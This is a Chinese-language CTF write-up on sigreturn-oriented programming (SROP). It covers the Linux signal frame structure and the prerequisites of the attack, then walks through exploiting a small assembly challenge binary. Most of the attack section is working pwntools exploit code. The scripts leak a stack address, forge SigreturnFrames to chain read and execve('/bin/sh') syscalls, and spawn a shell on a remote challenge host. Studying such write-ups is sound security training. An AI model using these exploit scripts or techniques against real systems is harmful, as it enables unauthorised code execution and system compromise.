# SROP
> Author: 堇姬Naup
## signal機制
1. kernel向process發起signal機制,Process暫時中斷,進入kernel
2. 保存環境(簡單來說就是保存了各個暫存器的值,將所有東西壓入stack,並壓入signal相關訊息),這段記憶體被稱為Signal Frame
3. 到signal handler處理
4. 恢復環境
5. 繼續執行process
![image](https://hackmd.io/_uploads/S17Pv_UB0.png)
![image](https://hackmd.io/_uploads/HyZxuF8rC.png)
signal frame
```c=
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};
struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};
```
![image](https://hackmd.io/_uploads/HJ9mSF8HA.png)
## 漏洞在哪?
如果我們能控制Stack的值,因為他在恢復環境時沒有驗證,所以可以任意修改來串ROP(透過偽造sigframe來調用惡意syscall)
## SROP前提
1. 有BOF
2. 可以去系統調用signature(或用read控rax之類的)
3. /bin/sh地址可以寫入並拿到該地址或是直接有目標及有位址
4. syscall地址
## SROP chain
![image](https://hackmd.io/_uploads/SJzGDKLS0.png)
如果有ret,那可以構造像是這樣的chain來呼叫多個syscall
## 流程
- 控制stack
- 偽造Signal Frame
- 觸發Sigreturn
- get shell
## 題目
```asm
; nasm -f elf64 chal.asm -o chal.o && ld chal.o -o chal
.text:
global _start
_start:
xor rax, rax
mov edx, 0x400
mov rsi, rsp
mov rdi, rax
syscall
ret
```
> 控rax代表可以控你要syscall甚麼,而能控rax的不只有gadget,read返回值,也就是讀取的字節數可以控rax(rax包含系統調用結果)
首先根據上方asm他調用了read,隨便輸入一個他會跳到對應位置
![image](https://hackmd.io/_uploads/B13p0arc0.png)
這邊我輸入了aaa跳到了0xa616161(0xa是換行)上,因為rsi指向rsp,ret吃到rsp所以stack底部會跳過去
這邊我先放入兩個ret回最上面
再來送一個\x03
來蓋掉stack底部ret位置最低位到xor rax, rax後面
與此同時因為寫入1 byte,rax變成1,call write,寫出stack address
原本
![image](https://hackmd.io/_uploads/SkZpU0rcR.png)
寫掉最低位成0x03
![image](https://hackmd.io/_uploads/BJS1PABqA.png)
另外因為寫入1 byte ,讓rax=1
![image](https://hackmd.io/_uploads/B1nxwRB9C.png)
```python=
from pwn import *
from NAUP_pwn_lib import *
context.arch='amd64'
REMOTE_LOCAL=input("local?(y/n):")
if REMOTE_LOCAL=="y":
r=process('./srop')
else:
REMOTE_INFO=split_nc("nc lotuxctf.com 10009")
REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])
r=remote(REMOTE_IP,REMOTE_PORT)
DEBUG=input('debug?(y/n)')
if DEBUG=="y":
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
def p():
gdb.attach(proc.pidof(r)[0])
payload1 = p64(0x401000)+p64(0x401000)
r.send(payload1)
p()
r.send(b'\x03')
leak_stack_base = u64(r.recv()[8:16])
NAUPINFO('LEAK STACK',hex(leak_stack_base))
r.interactive()
```
接下來我們的目標是call execve(),所以要寫入/bin/sh
另外根據上方腳本已經跳出去了,但我們如果一開始送p64(0x401000) 3次,write完後又跳回來了
```python=
read = SigreturnFrame()
read.rax = constants.SYS_read
read.rdi = 0
read.rsi = leak_stack_base
read.rdx = 0x400
read.rsp = leak_stack_base
read.rip = syscall
payload3 = p64(start) + p64(syscall) + bytes(read)
r.send(payload3)
r.send(payload3[8:23])
```
讀payload進來
```
start
syscall
read.SigreturnFrame
```
ret跳回start,讀15個byte進來
```
syscall
read.SigreturnFrame
```
ret到syscall,現在rax=15(call sys_rt_sigreturn)
```
read.SigreturnFrame
```
回復位置成read.SigreturnFrame的樣子
再來
```python=
execve = SigreturnFrame()
execve.rax = constants.SYS_execve
execve.rdi = leak_stack_base + 0x108
execve.rsi = 0x0
execve.rdx = 0x0
execve.rsp = leak_stack_base
execve.rip = syscall
payload5 = p64(start)+p64(syscall)+bytes(execve)
print(len(payload5))
payload5 += b'/bin/sh\x00'
r.send(payload5)
r.send(payload5[8:23])
```
回復的read先讀
```
start
syscall
execve.SigreturnFrame
/bin/sh\x00(leak rsp+0x108)
```
再來ret到start,再讀15byte
```
syscall
execve.SigreturnFrame
/bin/sh\x00(leak rsp+0x108)
```
ret到syscall,現在rax=15
回復成execve.SigreturnFrame
並抓到/bin/sh
get shell!!
另外適時加一些sleep防止送太快
### script
```python=
from pwn import *
from NAUP_pwn_lib import *
import time
context.arch='amd64'
context.os = 'linux'
REMOTE_LOCAL=input("local?(y/n):")
if REMOTE_LOCAL=="y":
r=process('./srop')
else:
REMOTE_INFO=split_nc("nc lotuxctf.com 10009")
REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])
r=remote(REMOTE_IP,REMOTE_PORT)
DEBUG=input('debug?(y/n)')
if DEBUG=="y":
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
def pause():
gdb.attach(proc.pidof(r)[0])
payload1 = p64(0x401000)+p64(0x401000)+p64(0x401000)
r.send(payload1)
#pause()
time.sleep(0.5)
r.send(b'\x03')
leak_stack_base = u64(r.recv()[8:16])
NAUPINFO('LEAK STACK',hex(leak_stack_base))
start=0x401000
syscall=0x40100e
read = SigreturnFrame()
read.rax = constants.SYS_read
read.rdi = 0
read.rsi = leak_stack_base
read.rdx = 0x400
read.rsp = leak_stack_base
read.rip = syscall
payload2 = p64(start) + p64(syscall) + bytes(read)
r.send(payload2)
time.sleep(0.5)
r.send(payload2[8:23])
execve = SigreturnFrame()
execve.rax = constants.SYS_execve
execve.rdi = leak_stack_base + 0x108
execve.rsi = 0x0
execve.rdx = 0x0
execve.rsp = leak_stack_base
execve.rip = syscall
payload3 = p64(start)+p64(syscall)+bytes(execve)
print(len(payload3))
payload3 += b'/bin/sh\x00'
r.send(payload3)
time.sleep(0.5)
r.send(payload3[8:23])
r.interactive()
```